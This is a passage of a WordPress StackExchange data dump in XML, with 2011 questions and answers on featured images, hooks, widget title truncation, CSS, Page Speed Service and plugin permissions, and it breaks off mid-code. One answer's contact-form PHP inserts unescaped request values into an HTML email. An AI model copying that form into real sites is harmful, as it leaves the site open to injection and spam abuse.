  <row Id="24309" PostTypeId="1" AcceptedAnswerId="24311" CreationDate="2011-07-28T13:23:45.397" Score="0" ViewCount="34" Body="&lt;p&gt;I'm trying to migrate a site to WP. We have a whole bunch of pictures, and I have done some research and figured -- I think -- my best bet is a CSV import of the data, storing the relative URL of the image as a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I found &lt;a href=&quot;http://stackoverflow.com/questions/4371929/convert-custom-field-image-to-become-featured-image-in-wordpress&quot;&gt;this&lt;/a&gt; --which looks ideal -- and I implemented it thus (in functions.php with a global call added as I was getting a 'no object' error):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function store_cf_featured_image() {&#xA;global $post,$wpdb;&#xA;&#xA;$uploads = wp_upload_dir();&#xA;&#xA;// Get all attachment IDs and filenames&#xA;$results = $wpdb-&amp;gt;get_results(&quot;SELECT post_id, meta_value FROM $wpdb-&amp;gt;postmeta WHERE meta_key = '_wp_attached_file'&quot;);&#xA;&#xA;// Create an 'index' of attachment IDs and their filenames&#xA;$attachments = array();&#xA;foreach ($results as $row)&#xA;    $attachments[ intval($row-&amp;gt;post_id) ] = $row-&amp;gt;meta_value;&#xA;&#xA;// Get all featured images&#xA;$images = $wpdb-&amp;gt;get_results(&quot;SELECT post_id, meta_value AS 'url' FROM $wpdb-&amp;gt;postmeta WHERE meta_key = 'featured_image'&quot;);&#xA;&#xA;// Loop over each image and try and find attachment post&#xA;foreach ($images as $image) {&#xA;    if (preg_match('#^https?://#', $image-&amp;gt;url))&#xA;        $image-&amp;gt;url = str_replace($uploads['baseurl'], '', $image-&amp;gt;url); // get relative URL if absolute&#xA;&#xA;    $filename = ltrim($image-&amp;gt;url, '/');&#xA;&#xA;    if ($attachment_ID = array_search($filename, $attachments)) {&#xA;        // found attachment, set post thumbnail and delete featured image&#xA;        update_post_meta($image-&amp;gt;post_id, '_thumbnail_id', $attachment_ID);&#xA;        delete_post_meta($image-&amp;gt;post_ID, 'featured_image');&#xA;    }&#xA;&#xA;&#xA;}&#xA;&#xA;&#xA;}&#xA;&#xA;add_action( 'init', 'store_cf_featured_image' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I put a link in my custom field 'featured_image', and save it... nothing. No errors, but no nothing. I update the post and come back to it, but the link is still just a link the the custom field and no 'featured image' has been set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas what the issue might be? an am I right in thinking this will store the image as part of built in 'Media Library', now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AlsoAlso: Will I be able to adapt this code to pull in Alt text etc for each image from custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input greatly appreciated! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6353" LastActivityDate="2011-07-28T13:38:30.690" Title="Add url from Custom Field as 'Featured Image'. Code not working" Tags="&lt;custom-field&gt;&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="24310" PostTypeId="2" ParentId="24304" CreationDate="2011-07-28T13:30:47.280" Score="-1" ViewCount="" Body="&lt;p&gt;i think it is probably the  /%category%/ in your permalink structure.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-28T13:30:47.280" CommentCount="3" />
  <row Id="24311" PostTypeId="2" ParentId="24309" CreationDate="2011-07-28T13:38:30.690" Score="2" ViewCount="" Body="&lt;p&gt;so you're images are already in a custom field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could use the Get the Image plugin.... i know it will pull your thumbnail from a custom field and i &lt;em&gt;think&lt;/em&gt; it might automatically set it as the featured image, tho it has been a while and i'm not sure of that.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/get-the-image/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-28T13:38:30.690" CommentCount="4" />
  <row Id="24313" PostTypeId="2" ParentId="24298" CreationDate="2011-07-28T13:40:23.170" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://www.darrenhoyt.com/demo/agregado/&quot; rel=&quot;nofollow&quot;&gt;Agregado Theme&lt;/a&gt; comes with a little contact form I modified for one of my themes, I guess it's ok for you to use it as long as the credits remain there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    //Contact script created by Tim McDaniels and Darren Hoyt for the Mimbo Pro and Agregado themes, modified by Mario Aguiar cuz it didn't work.&#xA;    //May be re-used with credits intact&#xA;    if($_REQUEST['submit']): &#xA;        $admin_email = get_option( &quot;admin_email&quot; );&#xA;        $admin_subject = 'Inquiry';&#xA;        $headers = 'MIME-Version: 1.0' . &quot;\r\n&quot;;&#xA;        $headers .= 'Content-type: text/html; charset=iso-8859-1' . &quot;\r\n&quot;;&#xA;        $headers .= 'From: ' . $admin_email . &quot;\r\n&quot;;&#xA;        $body = &quot;&amp;lt;blockquote&amp;gt;&#xA;            Name: &quot; . $_REQUEST['Name'] . &quot;&amp;lt;br/&amp;gt;&#xA;            Email: &quot; . $_REQUEST['Email'] . &quot;&amp;lt;br/&amp;gt;&#xA;            Message:&amp;lt;br/&amp;gt;&quot; . $_REQUEST['Message'] . &quot;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;hr/&amp;gt;&#xA;            Remote Address: &quot; . $_SERVER['REMOTE_ADDR'] . &quot;&amp;lt;br/&amp;gt;&#xA;            Browser: &quot; . $_SERVER['HTTP_USER_AGENT'] . &quot;&#xA;            &amp;lt;hr/&amp;gt;&#xA;        &amp;lt;/blockquote&amp;gt;&quot;;&#xA;        mail ($admin_email, $admin_subject, $body, $headers);&#xA;    endif; ?&amp;gt;&#xA;&amp;lt;form onsubmit=&quot;return(submitContactForm(this));&quot; id=&quot;contactform&quot; action=&quot;&quot;&amp;gt;&#xA;    &amp;lt;h5&amp;gt;Contact&amp;lt;/h5&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Contact&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;label for=&quot;user-name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;user-name&quot; name=&quot;Name&quot; class=&quot;field&quot; title=&quot;Enter name here&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;user-email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;user-email&quot; name=&quot;Email&quot; class=&quot;field&quot; title=&quot;Enter email address here&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;user-comment&quot;&amp;gt;Message:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea id=&quot;user-comment&quot; name=&quot;Message&quot; class=&quot;field&quot; cols=&quot;&quot; rows=&quot;4&quot; title=&quot;Enter comments here&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;submit&quot; value=&quot;1&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;&quot; id=&quot;homeContactSubmit&quot; class=&quot;button&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to add some captcha to prevent spam, but it works. I have this working on my theme &lt;a href=&quot;http://demo.marioaguiar.com/celeste/&quot; rel=&quot;nofollow&quot;&gt;Celeste&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastActivityDate="2011-07-28T13:40:23.170" CommentCount="1" />
  <row Id="24314" PostTypeId="1" AcceptedAnswerId="24982" CreationDate="2011-07-28T14:05:06.380" Score="6" ViewCount="100" Body="&lt;p&gt;Question has been asked before about how to synchronize files as well as the database between two Wordpress installations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the database level, the answer is usually to basically dump one database and insert it onto another server. The problem with this is that you end up losing any changes that have potentially been made on the prod server. For instance, usage metrics, comments, etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this in mind, I was starting to wonder whether the it would be possible to extend the Wordpress ORM so that you can generate deltas and then inject those into the prod site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried this, looking into it, or have any ideas or comments ? &lt;/p&gt;&#xA;" OwnerUserId="7414" LastActivityDate="2011-08-04T21:31:24.940" Title="Wordpress database synch between dev and prod" Tags="&lt;staging&gt;&lt;sync&gt;&lt;production&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" />
  <row Id="24315" PostTypeId="1" AcceptedAnswerId="24331" CreationDate="2011-07-28T14:18:03.247" Score="0" ViewCount="78" Body="&lt;p&gt;Now i face a problem, that i want to add a hook into the the_post. Then i use &lt;code&gt;print_r($post);&lt;/code&gt; here display the my &lt;code&gt;print_r&lt;/code&gt; content and again display the default content. because i am here in the_loop.so again the content was display. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'the_content',  'custom_post' );&#xA;&#xA;  function custom_post() {&#xA;    global $post, $wp_query;&#xA;    $post_id = $post-&amp;gt;ID;&#xA;    print_r($post);&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here i need how to overwrite the default content of the the_post and display my own content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is possible  in a way, that i use the_title and the_content hook but here the function was call two times then its problem. so plz help me.&lt;/p&gt;&#xA;" OwnerUserId="5456" LastActivityDate="2011-07-28T17:05:19.217" Title="Wordpress add_action the_post hook" Tags="&lt;hooks&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24316" PostTypeId="1" CreationDate="2011-07-28T14:24:07.757" Score="1" ViewCount="60" Body="&lt;p&gt;I read the thread here about this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/truncate-titles-in-recent-posts-widget?replies=8&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/truncate-titles-in-recent-posts-widget?replies=8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the suggested solution didn't work, because I wasn't sure what to do with the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me the full code using the code from the pastebin link, and here: &lt;a href=&quot;http://wordpress.org/support/topic/post-title-char-count?replies=5&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/post-title-char-count?replies=5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortening the titles to 25 characters please? I'm really not good at PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be easier to make a plugin since the code is already there, so anyone can choose how many characters to limit the titles to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="7415" LastActivityDate="2011-08-27T18:35:33.707" Title="How to truncate titles in Recent Posts widget?" Tags="&lt;widgets&gt;&lt;recent-posts&gt;" AnswerCount="1" />
  <row Id="24317" PostTypeId="1" CreationDate="2011-07-28T14:27:48.527" Score="-2" ViewCount="34" Body="&lt;p&gt;&lt;a href=&quot;http://bigbendfarflung.com/&quot; rel=&quot;nofollow&quot;&gt;http://bigbendfarflung.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My twenty ten child theme displays a ton of extra, empty background space below and to the left of the content. I can find no cause for it in the html markup or the CSS. I've compared the code against several other child themes I've built, combed through the CSS and picked through it in Firebug and the Safari web inspector to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All browsers show the extra vertical space, but the horizontal space varies from browser to browser, with Firefox displaying the most: easily twice the width of the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firebug acknowledges the horizontal (but not vertical) space inside the html and body tags, though there's nothing in the CSS that I can find to explain it. Safari Web Inspector doesn't recognize the extra space at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any clue what might be causing this weirdness? THANKS for any help!&lt;/p&gt;&#xA;" OwnerUserId="7416" LastActivityDate="2011-07-28T19:13:43.027" Title="I have massive extra background space in my page, and can't find the cause" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;css&gt;" AnswerCount="2" />
  <row Id="24318" PostTypeId="2" ParentId="24304" CreationDate="2011-07-28T14:35:59.440" Score="0" ViewCount="" Body="&lt;p&gt;You might also check for duplicate slugs/names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your post type has the same name (or slug or rewrite) as a category or page, it will wreak havoc with your permalinks and generate 404's. I just spent a day trying to figure this out on one of my own sites before I found the conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renaming the post type to something unique fixed it for me.&lt;/p&gt;&#xA;" OwnerUserId="7416" LastActivityDate="2011-07-28T14:35:59.440" CommentCount="1" />
  <row Id="24319" PostTypeId="2" ParentId="24317" CreationDate="2011-07-28T14:51:54.543" Score="0" ViewCount="" Body="&lt;p&gt;The height of #outfitter is set to 1100px, that is what you need to alter, set it to 100px;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was very apparent in Firebug.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-28T14:51:54.543" CommentCount="1" />
  <row Id="24320" PostTypeId="2" ParentId="24102" CreationDate="2011-07-28T14:58:36.113" Score="0" ViewCount="" Body="&lt;p&gt;Answer from Richard M on the &lt;a href=&quot;http://stackoverflow.com/questions/6819226/search-results-not-displaying-for-multiple-word-search-in-wordpress&quot;&gt;question originally asked on StackOverflow&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replacing line 21 on &lt;a href=&quot;http://pastebin.com/tjGsDePY&quot; rel=&quot;nofollow&quot;&gt;search.php&lt;/a&gt; with &lt;code&gt;$search_query[$query_split[0]] = urldecode($query_split[1])&lt;/code&gt; resolved it.&lt;/p&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-28T14:58:36.113" />
  <row Id="24321" PostTypeId="1" CreationDate="2011-07-28T15:05:19.350" Score="6" ViewCount="143" Body="&lt;p&gt;Google announced &lt;a href=&quot;http://code.google.com/speed/pss/index.html&quot; rel=&quot;nofollow&quot;&gt;Page Speed Service&lt;/a&gt;, jumping on bandwagon of all-in-one site optimization and CDN.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the potential issues, when configuring self-hosted WordPress for it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How will &lt;a href=&quot;https://code.google.com/speed/pss/docs/refdomain.html&quot; rel=&quot;nofollow&quot;&gt;setting up reference domain&lt;/a&gt; work with WP? Considering that is required for Google to pull content, but public site URL will be different.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Will it be possible to set it up with multisite?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should static caching plugins be left enabled or disabled for better compatibility?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How will it work with wp-admin and Ajax? Should those be blacklisted in service settings?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;PS this is intended to be large reference question, so feel free to edit in your own questions on subject&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-28T15:26:47.990" LastActivityDate="2011-08-02T15:38:22.647" CommunityOwnedDate="2011-07-28T15:05:33.797" Title="How will self-hosted WordPress work with Google Page Speed Service?" Tags="&lt;multisite&gt;&lt;domain&gt;&lt;google-page-speed-service&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="1" />
  <row Id="24322" PostTypeId="2" ParentId="24316" CreationDate="2011-07-28T15:05:53.843" Score="1" ViewCount="" Body="&lt;p&gt;I wasn't sure if i would answer or simply vote to close this topic, i feel i sufficiently asnwered the original topic you're referring to, i'd only be repeating myself here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, here's an upto date version you can use(only took me 2 mins), you only need implement your own code to truncate the titles in the widget, i've marked the area of code for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'widgets_init', 'switch_recent_posts_widget' );&#xA;&#xA;function switch_recent_posts_widget() {&#xA;&#xA;    unregister_widget( 'WP_Widget_Recent_Posts' );&#xA;    register_widget( 'WP_Widget_Recent_Posts_Truncated' );&#xA;&#xA;}&#xA;&#xA;class WP_Widget_Recent_Posts_Truncated extends WP_Widget {&#xA;&#xA;    function __construct() {&#xA;        $widget_ops = array('classname' =&amp;gt; 'widget_recent_entries', 'description' =&amp;gt; __( &quot;The most recent posts on your site&quot;) );&#xA;        parent::__construct('recent-posts', __('Recent Posts'), $widget_ops);&#xA;        $this-&amp;gt;alt_option_name = 'widget_recent_entries';&#xA;&#xA;        add_action( 'save_post', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;        add_action( 'deleted_post', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;        add_action( 'switch_theme', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;    }&#xA;&#xA;    function widget($args, $instance) {&#xA;        $cache = wp_cache_get('widget_recent_posts', 'widget');&#xA;&#xA;        if ( !is_array($cache) )&#xA;            $cache = array();&#xA;&#xA;        if ( isset($cache[$args['widget_id']]) ) {&#xA;            echo $cache[$args['widget_id']];&#xA;            return;&#xA;        }&#xA;&#xA;        ob_start();&#xA;        extract($args);&#xA;&#xA;        $title = apply_filters('widget_title', empty($instance['title']) ? __('Recent Posts') : $instance['title'], $instance, $this-&amp;gt;id_base);&#xA;        if ( ! $number = absint( $instance['number'] ) )&#xA;            $number = 10;&#xA;&#xA;        $r = new WP_Query(array('posts_per_page' =&amp;gt; $number, 'no_found_rows' =&amp;gt; true, 'post_status' =&amp;gt; 'publish', 'ignore_sticky_posts' =&amp;gt; true));&#xA;        if ($r-&amp;gt;have_posts()) :&#xA;?&amp;gt;&#xA;        &amp;lt;?php echo $before_widget; global $post ?&amp;gt;&#xA;        &amp;lt;?php if ( $title ) echo $before_title . $title . $after_title; ?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php  while ($r-&amp;gt;have_posts()) : $r-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php &#xA;            if( get_the_title() ) &#xA;                the_title(); // DO YOUR STRING LENGTH RESTRICTION HERE!&#xA;            else &#xA;                the_ID(); &#xA;            ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php echo $after_widget; ?&amp;gt;&#xA;&amp;lt;?php&#xA;        // Reset the global $the_post as this query will have stomped on it&#xA;        wp_reset_postdata();&#xA;&#xA;        endif;&#xA;&#xA;        $cache[$args['widget_id']] = ob_get_flush();&#xA;        wp_cache_set('widget_recent_posts', $cache, 'widget');&#xA;    }&#xA;&#xA;    function update( $new_instance, $old_instance ) {&#xA;        $instance = $old_instance;&#xA;        $instance['title'] = strip_tags($new_instance['title']);&#xA;        $instance['number'] = (int) $new_instance['number'];&#xA;        $this-&amp;gt;flush_widget_cache();&#xA;&#xA;        $alloptions = wp_cache_get( 'alloptions', 'options' );&#xA;        if ( isset($alloptions['widget_recent_entries']) )&#xA;            delete_option('widget_recent_entries');&#xA;&#xA;        return $instance;&#xA;    }&#xA;&#xA;    function flush_widget_cache() {&#xA;        wp_cache_delete('widget_recent_posts', 'widget');&#xA;    }&#xA;&#xA;    function form( $instance ) {&#xA;        $title = isset($instance['title']) ? esc_attr($instance['title']) : '';&#xA;        $number = isset($instance['number']) ? absint($instance['number']) : 5;&#xA;?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('number'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Number of posts to show:'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('number'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('number'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $number; ?&amp;gt;&quot; size=&quot;3&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to decide how you want to truncate the title, either by a set amount of words or as you said in your question, by number of characters, in any case each approach has some drawbacks, which is why i'm leaving you to decide which you want to implement and why..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The area you'll need to update has a comment next to it that looks as follows..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// DO YOUR STRING LENGTH RESTRICTION HERE!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Small note, just make sure to use &lt;code&gt;get_the_title()&lt;/code&gt; when you need to manipulate the title, because that will give you a return value instead of a printed one(which you'll get with &lt;code&gt;the_title()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to a topic on StackOverflow with regard to truncating text, and also a google link with a mountain of links you can study to get ideas about which approach to take with truncating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/965235/how-can-i-truncate-a-string-in-php&quot;&gt;http://stackoverflow.com/questions/965235/how-can-i-truncate-a-string-in-php&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.google.comk/search?q=php+truncate+string+to+length&quot; rel=&quot;nofollow&quot;&gt;http://www.google.comk/search?q=php+truncate+string+to+length&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This is a replacement for the existing recent posts widget, you'll not lose any you've setup already, it will inherit and take over the settings from the default recent posts widget.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-28T15:05:53.843" />
  <row Id="24325" PostTypeId="1" CreationDate="2011-07-28T15:22:36.907" Score="0" ViewCount="30" Body="&lt;p&gt;I'm trying to use the plugin Slideshow Gallery on a Multisite install. I have 2 objectives.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Allow &quot;Editor&quot; user_level users access to the Options Menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Limit &quot;Editors&quot; to the ability to Manage Slides ONLY, and not edit Configuration. Of course, I want Administrators and Super Admin level users to be able to access both Options.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the &quot;slideshow-gallery/slideshow-gallery.php&quot; file needs to be edited, but I have no experience in modifying such files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DS', DIRECTORY_SEPARATOR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;require_once(dirname(&lt;strong&gt;FILE&lt;/strong&gt;) . DS . 'slideshow-gallery-plugin.php');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;class Gallery extends GalleryPlugin {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Gallery() {&#xA;    $url = explode(&quot;&amp;amp;&quot;, $_SERVER['REQUEST_URI']);&#xA;    $this -&amp;gt; url = $url[0];&#xA;    $this -&amp;gt; referer = (empty($_SERVER['HTTP_REFERER'])) ? $this -&amp;gt; url : $_SERVER['HTTP_REFERER'];&#xA;&#xA;    $this -&amp;gt; register_plugin('slideshow-gallery', __FILE__);&#xA;&#xA;    //WordPress action hooks&#xA;    $this -&amp;gt; add_action('wp_head');&#xA;    $this -&amp;gt; add_action('admin_menu');&#xA;    $this -&amp;gt; add_action('admin_head');&#xA;    $this -&amp;gt; add_action('admin_notices');&#xA;&#xA;    //WordPress filter hooks&#xA;    $this -&amp;gt; add_filter('mce_buttons');&#xA;    $this -&amp;gt; add_filter('mce_external_plugins');&#xA;&#xA;    add_shortcode('slideshow', array($this, 'embed'));&#xA;}&#xA;&#xA;function wp_head() {&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var tb_pathToImage = &quot;&amp;lt;?php echo rtrim(get_bloginfo('wpurl'), '/'); ?&amp;gt;/wp-includes/js/thickbox/loadingAnimation.gif&quot;;&#xA;    var tb_closeImage = &quot;&amp;lt;?php echo rtrim(get_bloginfo('wpurl'), '/'); ?&amp;gt;/wp-includes/js/thickbox/tb-close.png&quot;;&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;?php   &#xA;}&#xA;&#xA;function admin_menu() {&#xA;    add_menu_page(__('Slideshow', $this -&amp;gt; plugin_name), __('Slideshow', $this -&amp;gt; plugin_name), 10, &quot;gallery&quot;, array($this, 'admin_slides'), $this -&amp;gt; url() . '/images/icon.png');&#xA;    $this -&amp;gt; menus['gallery'] = add_submenu_page(&quot;gallery&quot;, __('Manage Slides', $this -&amp;gt; plugin_name), __('Manage Slides', $this -&amp;gt; plugin_name), 10, &quot;gallery&quot;, array($this, 'admin_slides'));&#xA;    $this -&amp;gt; menus['gallery-settings'] = add_submenu_page(&quot;gallery&quot;, __('Configuration', $this -&amp;gt; plugin_name), __('Configuration', $this -&amp;gt; plugin_name), 10, &quot;gallery-settings&quot;, array($this, 'admin_settings'));&#xA;&#xA;    add_action('admin_head-' . $this -&amp;gt; menus['gallery-settings'], array($this, 'admin_head_gallery_settings'));&#xA;}&#xA;&#xA;function admin_head() {&#xA;    $this -&amp;gt; render('head', false, true, 'admin');&#xA;}&#xA;&#xA;function admin_head_gallery_settings() {        &#xA;    add_meta_box('submitdiv', __('Save Settings', $this -&amp;gt; plugin_name), array($this -&amp;gt; Metabox, &quot;settings_submit&quot;), $this -&amp;gt; menus['gallery-settings'], 'side', 'core');&#xA;    add_meta_box('generaldiv', __('General Settings', $this -&amp;gt; plugin_name), array($this -&amp;gt; Metabox, &quot;settings_general&quot;), $this -&amp;gt; menus['gallery-settings'], 'normal', 'core');&#xA;    add_meta_box('linksimagesdiv', __('Links &amp;amp;amp; Images Overlay', $this -&amp;gt; plugin_name), array($this -&amp;gt; Metabox, &quot;settings_linksimages&quot;), $this -&amp;gt; menus['gallery-settings'], 'normal', 'core');&#xA;    add_meta_box('stylesdiv', __('Appearance &amp;amp;amp; Styles', $this -&amp;gt; plugin_name), array($this -&amp;gt; Metabox, &quot;settings_styles&quot;), $this -&amp;gt; menus['gallery-settings'], 'normal', 'core');&#xA;&#xA;    do_action('do_meta_boxes', $this -&amp;gt; menus['gallery-settings'], 'normal');&#xA;    do_action('do_meta_boxes', $this -&amp;gt; menus['gallery-settings'], 'side');&#xA;}&#xA;&#xA;function admin_notices() {&#xA;    $this -&amp;gt; check_uploaddir();&#xA;&#xA;    if (!empty($_GET[$this -&amp;gt; pre . 'message'])) {      &#xA;        $msg_type = (!empty($_GET[$this -&amp;gt; pre . 'updated'])) ? 'msg' : 'err';&#xA;        call_user_method('render_' . $msg_type, $this, $_GET[$this -&amp;gt; pre . 'message']);&#xA;    }&#xA;}&#xA;&#xA;function mce_buttons($buttons) {&#xA;    array_push($buttons, &quot;separator&quot;, &quot;gallery&quot;);&#xA;    return $buttons;&#xA;}&#xA;&#xA;function mce_external_plugins($plugins) {&#xA;    $plugins['gallery'] = $this -&amp;gt; url() . '/js/tinymce/editor_plugin.js';&#xA;    return $plugins;&#xA;}&#xA;&#xA;function slideshow($output = true, $post_id = null, $exclude = null) {      &#xA;    global $wpdb;&#xA;&#xA;    if (!empty($post_id) &amp;amp;&amp;amp; $post = get_post($post_id)) {&#xA;        if ($attachments = get_children(&quot;post_parent=&quot; . $post -&amp;gt; ID . &quot;&amp;amp;post_type=attachment&amp;amp;post_mime_type=image&amp;amp;orderby=menu_order ASC, ID ASC&quot;)) {&#xA;            if (!empty($exclude)) {&#xA;                $exclude = array_map('trim', explode(',', $exclude));&#xA;&#xA;                $a = 0;&#xA;                foreach ($attachments as $id =&amp;gt; $attachment) {&#xA;&#xA;                    $a++;&#xA;                    if (in_array($a, $exclude)) {&#xA;                        unset($attachments[$id]);&#xA;                    }&#xA;                }&#xA;            }&#xA;&#xA;            $content = $this -&amp;gt; render('gallery', array('slides' =&amp;gt; 